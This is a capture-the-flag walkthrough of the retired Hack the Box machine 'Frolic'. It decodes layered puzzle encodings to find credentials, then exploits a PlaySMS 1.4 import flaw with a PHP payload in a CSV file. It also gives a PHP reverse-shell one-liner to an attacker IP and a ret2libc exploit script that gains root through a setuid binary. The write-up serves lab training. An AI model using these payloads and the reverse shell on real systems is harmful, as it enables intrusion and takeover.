Hack the Box – Frolic Walkthrough

Today we’re going to solve another CTF machine “Frolic”. It is now a retired box and can be accessible if you’re a VIP member.

Specifications

  • Target OS: Linux
  • IP Address: 10.10.10.111
  • Difficulty: Hard

Contents

  • Getting user
  • Getting root

Reconnaissance

As always, the first step consists of the reconnaissance phase as port scanning.

Ports Scanning

During this step, we’re gonna identify the target to see what we have behind the IP Address.

nmap -sS -sU -T4 -A -v 10.10.10.111

22/tcp    open          ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA)
|   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA)
|_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (EdDSA)
139/tcp   open          netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open          netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
9999/tcp  open          http        nginx 1.10.3 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Welcome to nginx!
111/udp   open|filtered rpcbind
137/udp   open          netbios-ns  Samba nmbd netbios-ns (workgroup: WORKGROUP)
138/udp   open|filtered netbios-dgm
139/udp   open|filtered netbios-ssn
1645/udp  open|filtered radius
20359/udp open|filtered unknown
31681/udp open|filtered unknown
42577/udp open|filtered unknown
45441/udp open|filtered unknown
58075/udp open|filtered unknown

| Names:
|   FROLIC<00>           Flags: <unique><active>
|   FROLIC<03>           Flags: <unique><active>
|   FROLIC<20>           Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
|   WORKGROUP<00>        Flags: <group><active>
|   WORKGROUP<1d>        Flags: <unique><active>
|_  WORKGROUP<1e>        Flags: <group><active>
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: frolic
|   NetBIOS computer name: FROLIC\x00
|   Domain name: \x00
|   FQDN: frolic
|_  System time: 2019-02-23T22:39:17+05:30
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2019-02-23 18:09:17
|_  start_date: 1601-01-01 00:34:08

We have some interesting ports opened such as, HTTP Nginx web server 9999 let’s take a look.

http://10.10.10.111:9999/

nginx

It’s a default Nginx web page. but there’s a link which hints towards another port.

http://forlic.htb:1880

Enumerate Directories

Since we have two workings links let’s enumerate both and see if we can find something interesting.

dirb http://10.10.10.111:9999 -R

DIRECTORY: http://10.10.10.111:9999/admin/
DIRECTORY: http://10.10.10.111:9999/backup/
DIRECTORY: http://10.10.10.111:9999/dev/
DIRECTORY: http://10.10.10.111:9999/test/

If we navigate to admin directory we can see a login page.

crackme

We can either Brute Force, SQLi or enumerate more manually by going through source code and each file.

And we found login creds inside login.js file.

loginjs

"admin" "superduperlooperpassword_lol"

After login we get a popup saying “Login Successfully” and redirect us to success.html page which contains some encrypted text.

… … … .!!! .?.. … … …?. ?!.?. … … … … … …!.? … … .!!! .?.. … …?.? !.?.. … … …! … … .!.?. … .!!! .!!! ???. ?!.?! !!! !..! … … .!.!! !!! !!! !!!.? … … … …!?! !.?!! !!! !!! ??? .?!.? !!! !!! !!! .?.. … … …! ?!!.? … … … .?.?! .?.. … … …!. !!! !!.?. … .!!! .?.. …?. ?!.?. … …!.? … …!?! !.?!! ??? .?!.? !!! !!!. ?.. … … …!? !!.?! !!! !!! !!! ?.?!. !!! !!! !!.?. … … … .!!! .?.. … … …?. ?!.?. … !.. … …!.! !!! !.!!! !!.. … … …! .?.. … … …! ?!!.? !!! !!! !!! !?.?! .!!! !!! !!! !!! !!! .?.. …! ?!!.? … .?.?! .?.. … …! .?.. … … …!?! !.?.. … … …?.? !.?.. !.?.. … …!?! !.?.. … .?.?! .?.. .!.?. … .!!! .!!! ???. ?!.?! !!! !!! !!.. … …!. ?.. … !!!. !!! ??? .?!.? !!! !!! !!!.? … …!?! !.?!! ??? .?!.? !!!.! !!! !!! !!! !.. … … … !.!.? … … .!!! .!!! !!! !!?.? !.?!! !.?.. … …! ?!!.? … … ?.?!. ?.. … … …!.. … … .!.?. … …!? !!.?! !!! !!?.? !.?!! !!!.? … …!?! !.?!! ??? .?!.? !!! !!.?. … …!? !!.?. … …?.? !.?.. !.!!! !!! !!! !!! !.?.. … …!?! !.?.. … .?.?! .?.. .!.?. … … … .!!! .!!! !!! !!! ???. ?!.?! !!! !!! !!.!! !!! … …!.! !!! !.?.

After doing some Google search I found it’s an Ook binary code.

Decrypted: Nothing here check /asdiSIAJJ0QWE9JAS

We have another directory hint let’s check it out.

http://10.10.10.111:9999/asdiSIAJJ0QWE9JAS/

We found encoded Base64 text.

UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwAB BAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbs K1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmve EMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTj lurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkC AAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUG AAAAAAEAAQBPAAAAAwEAAAAA

Let’s decode Base64.

nano base64.txt
base64 -d base64.txt > base64

file base64
base64: Zip archive data, at least v2.0 to extract
mv base64 > base64.zip
unzip base64.zip

It asks for password. let’s try brute force.

fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt download.zip

PASSWORD FOUND!!!!: pw == password

After extracting we got index.php file. which contains another encoded text.

4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b79737250463067506973724b7973674b7934744c5330674c5330754b7973674b7973724b7973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b797375504373674b7974624c5434674c53307450463067506930744c5330674c5330754c5330674c5330744c5330674c6a77724b7973670d0a4b317374506973674b79737250463067506973724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7973675779302b4b7973674b7a7864506973674c6930740d0a4c533467504373724b3173674c5434744c5330675046302b4c5330674c5330744c533467504373724b7973675779302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a

I did Google search for “What type of encoding uses 0-9 a-f ?”

And we found it’s Base16.

Decoded Base16

KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwr
KysgWy0+KysgKzxdPisKKysuPCsgKytbLT4gLS0tPF0gPi0tLS0gLS0uLS0gLS0tLS0gLjwrKysg
K1stPisgKysrPF0gPisrKy4gPCsrK1sgLT4tLS0KPF0+LS0gLjwrKysgWy0+KysgKzxdPisgLi0t
LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg==

Now, we got Base64 let’s decode.

+++++ +++++ [->++ +++++ +++<] >++++ +.— --.++ +++++ .<+++ [->++ +<]>+
++.<+ ++[-> —<] >---- --.-- ----- .<+++ +[->+ +++<] >+++. <+++[ ->—
<]>– .<+++ [->++ +<]>+ .—. <+++[ ->— <]>– ----. <++++ [->++ ++<]>
++…<

That’s a brainfuck language and we can use interpreter to decode this Brainfuck/Text/Ook! obfuscator - deobfuscator. Decode and encode online.

Decoded: idkwhatispass

Well i thought i found creds for Node-Red but it didn’t work. So i went back and enumerated another directories.

This is all what we found from /admin directory now let’s take a look at http://10.10.10.111:9999/backup/

After navigating to page we found this text

“password.txt user.txt loop/”

loop/ is another directory inside backup which is 403 forbidden

But we have two text files.

http://10.10.10.111:9999/backup/password.txt
password - imnothuman

http://10.10.10.111:9999/backup/user.txt
user - admin

This is all we got from this backup directory let’s enumerate other directories.

http://10.10.10.111:9999/dev/backup/

As, we navigate through each directory we can see hint for another directory /playsms

http://10.10.10.111:9999/playsms/

playsms

We found another CMS. let’s check the creds here which we found earlier.

admin:idkwhatispass

Now, we’re inside!

Post Exploitation

Now, we’re inside CMS. let’s find a way to exploit.

searchsploit playsms

PlaySMS 1.4 - 'import.php' Remote Code Execution                                                                                       
PlaySMS 1.4 - 'sendfromfile.php' Remote Code Execution / Unrestricted File Upload                                    
PlaySMS 1.4 - Remote Code Execution                                                                                                             
PlaySms 0.7 - SQL Injection                                                                                                                              
PlaySms 0.8 - 'index.php' Cross-Site Scripting                                                                                                  
PlaySms 0.9.3 - Multiple Local/Remote File Inclusions                                                                                      
PlaySms 0.9.5.2 - Remote File Inclusion                                                                                                           
PlaySms 0.9.9.2 - Cross-Site Request Forgery        

I was successfully able to test “PlaySMS 1.4 - ‘import.php’ Remote Code Execution”

Myaccount > Phonebook > Import

We have to upload CSV file and through that we can get reverse shell according to exploit walkthrough.

Let’s create a file backdoor.csv put this inside.

cat backdoor.csv 
Name,Mobile,Email,Group code,Tags
<?php $t=$_SERVER['HTTP_USER_AGENT']; system($t); ?>,2,,,

And intercept the request through Burp Suite.

php -r '$sock=fsockopen("10.10.14.7",1337);exec("/bin/sh -i <&3 >&3 2>&3");'

let’s escape restricted shell first.

Privilege Escalation

Let’s take a look.

www-data@frolic:/home$ ls -la
ls -la
total 16
drwxr-xr-x  4 root  root  4096 Sep 23  2018 .
drwxr-xr-x 22 root  root  4096 Sep 23  2018 ..
drwxr-xr-x  3 ayush ayush 4096 Sep 25 02:00 ayush
drwxr-xr-x  7 sahay sahay 4096 Sep 25 02:45 sahay

Let’s take a look inside ayush directory.

www-data@frolic:/home/ayush$ ls -la
ls -la
total 36
drwxr-xr-x 3 ayush ayush 4096 Sep 25 02:00 .
drwxr-xr-x 4 root  root  4096 Sep 23  2018 ..
-rw------- 1 ayush ayush 2781 Sep 25 02:47 .bash_history
-rw-r--r-- 1 ayush ayush  220 Sep 23  2018 .bash_logout
-rw-r--r-- 1 ayush ayush 3771 Sep 23  2018 .bashrc
drwxrwxr-x 2 ayush ayush 4096 Sep 25 02:43 .binary
-rw-r--r-- 1 ayush ayush  655 Sep 23  2018 .profile
-rw------- 1 ayush ayush  965 Sep 25 01:58 .viminfo
-rwxr-xr-x 1 ayush ayush   33 Sep 25 01:58 user.txt

Now, let’s take a look inside sahay directory.

www-data@frolic:/home/sahay$ ls -la
ls -la
total 80
drwxr-xr-x   7 sahay sahay  4096 Sep 25 02:45 .
drwxr-xr-x   4 root  root   4096 Sep 23  2018 ..
-rw-------   1 root  root  13411 Sep 25 02:47 .bash_history
-rw-r--r--   1 sahay sahay   220 Sep 23  2018 .bash_logout
-rw-r--r--   1 sahay sahay  3771 Sep 23  2018 .bashrc
drwx------   3 sahay sahay  4096 Sep 23  2018 .cache
drwxr-xr-x   3 root  root   4096 Sep 23  2018 .config
drwxr-xr-x   3 root  root   4096 Sep 23  2018 .local
-rw-------   1 root  root     87 Sep 23  2018 .mysql_history
drwxr-xr-x   4 root  root   4096 Sep 23  2018 .node-red
drwxr-xr-x 316 sahay sahay 12288 Sep 23  2018 .npm
-rw-r--r--   1 sahay sahay   655 Sep 23  2018 .profile
-rw-r--r--   1 sahay sahay     0 Sep 23  2018 .sudo_as_admin_successful
-rw-------   1 root  root   6510 Sep 25 02:45 .viminfo
-rw-r--r--   1 root  root    255 Sep 25 01:37 .wget-hsts

There’s lot of things to go through but first let’s start with ayush.

User.txt flag.

www-data@frolic:/home/ayush$ wc -c user.txt
wc -c user.txt
33 user.txt

Let’s go after root now!

Inside .binary directory we can see a rop binary file. which can be executable as root but don’t have read or edit permission. I think that’s our way.

www-data@frolic:/home/ayush/.binary$ ls -la
ls -la
total 16
drwxrwxr-x 2 ayush ayush 4096 Sep 25 02:43 .
drwxr-xr-x 3 ayush ayush 4096 Sep 25 02:00 ..
-rwsr-xr-x 1 root  root  7480 Sep 25 00:59 rop
www-data@frolic:/home/ayush/.binary$ 

Let’s download this file into our local machine first.

base64 -i rop

file rop 
rop: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=59da91c100d138c662b77627b65efbbc9f797394, not stripped

chmod +x rop
./rop 
[*] Usage: program <message>

Let’s find out the buffer location of this program.

gdb-peda$ pattern_offset 0x41474141
1095188801 found at offset: 52

NX is enabled, and NX means the stack is not executable.

Now let’s find out if ASLR is enabled on the box.

The library address remains the same.

libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)

This is where the libc code begins in memory when our program is being executed. It’s a part of our binary program which we have access to and let’s find the specific address to system() function.

www-data@frolic:/home/ayush/.binary$ objdump -TC /lib/i386-linux-gnu/libc.so.6 | grep "system$"
</.binary$ objdump -TC /lib/i386-linux-gnu/libc.so.6 | grep "system$"        
0003ada0 g    DF .text  00000037  GLIBC_PRIVATE __libc_system
0003ada0  w   DF .text  00000037  GLIBC_2.0   system

offset of system() function in libc 0003ada0

Now, we know the offset where system() function is located inside libc but it’s not an static memory address, we have to find an offset of system() during the runtime of the program.

system_address = libc_base_address + system_offset
0xb7e19000 + 0x0003ada0 = 0xb7e53da0

Now, let’s find the exit function address in libc.

www-data@frolic:/home/ayush/.binary$ objdump -TC /lib/i386-linux-gnu/libc.so.6 | grep "exit"       
</.binary$ objdump -TC /lib/i386-linux-gnu/libc.so.6 | grep "exit"           
0002edc0 g    DF .text  00000027  GLIBC_2.10  __cxa_at_quick_exit
0002e9d0 g    DF .text  0000001f  GLIBC_2.0   exit
0002edf0 g    DF .text  000000c5  GLIBC_2.18  __cxa_thread_atexit_impl
000b07c8 g    DF .text  00000018  GLIBC_2.0   _exit
00115fa0 g    DF .text  00000038  GLIBC_2.0   svc_exit
0002eda0 g    DF .text  0000001f  GLIBC_2.10  quick_exit
0002ebf0 g    DF .text  00000055  GLIBC_2.1.3 __cxa_atexit
0011fb80 g    DF .text  00000034 (GLIBC_2.0)  atexit
001b2204 g    DO .data  00000004  GLIBC_2.1   argp_err_exit_status
000f3870 g    DF .text  0000003a  GLIBC_2.0   pthread_exit
001b2154 g    DO .data  00000004  GLIBC_2.0   obstack_exit_failure
0002e9f0  w   DF .text  0000004e  GLIBC_2.0   on_exit
000f4c80 g    DF .text  00000002  GLIBC_2.2   __cyg_profile_func_exit

Here

0002e9d0 g    DF .text  0000001f  GLIBC_2.0   exit

Now to make our program execuate we have to find the address for /bin/sh in libc.

15ba0b /bin/sh

ippsec exploit.py

import struct

junk = "A" *52
libc = 0xb7e19000
system = struct.pack('<I', libc +  0x0003ada0)
exit = struct.pack('<I', libc + 0x0002e9d0)
binsh = struct.pack('<I', libc + 0x0015ba0b)

payload = junk + system + exit + binsh

print payload

Let’s transfer this exploit and run it.

cat exploit.py | base64 -w 0
aW1wb3J0IHN0cnVjdAoKanVuayA9ICJBIiAqNTIKbGliYyA9IDB4YjdlMTkwMDAKc3lzdGVtID0gc3RydWN0LnBhY2soJzxJJywgbGliYyArICAweDAwMDNhZGEwKQpleGl0ID0gc3RydWN0LnBhY2soJzxJJywgbGliYyArIDB4MDAwMmU5ZDApCmJpbnNoID0gc3RydWN0LnBhY2soJzxJJywgbGliYyArIDB4MDAxNWJhMGIpCgpwYXlsb2FkID0ganVuayArIHN5c3RlbSArIGV4aXQgKyBiaW5zaAoKcHJpbnQgcGF5bG9hZAo=

Decode

echo -n aW1wb3J0IHN0cnVjdAoKanVuayA9ICJBIiAqNTIKbGliYyA9IDB4YjdlMTkwMDAKc3lzdGVtID0gc3RydWN0LnBhY2soJzxJJywgbGliYyArICA
weDAwMDNhZGEwKQpleGl0ID0gc3RydWN0LnBhY2soJzxJJywgbGliYyArIDB4MDAwMmU5ZDApCmJpbnNoID0gc3RydWN0LnBhY2soJzxJJywgbGliYyArIDB4MDAxNWJhMGIpCgpwYXlsb2Fk
ID0ganVuayArIHN5c3RlbSArIGV4aXQgKyBiaW5zaAoKcHJpbnQgcGF5bG9hZAo= | base64 -d > exploit.py

Let’s execute the exploit.py

www-data@frolic:/home/ayush/.binary$ ./rop $(python /dev/shm/exploit.py)
# whoami
root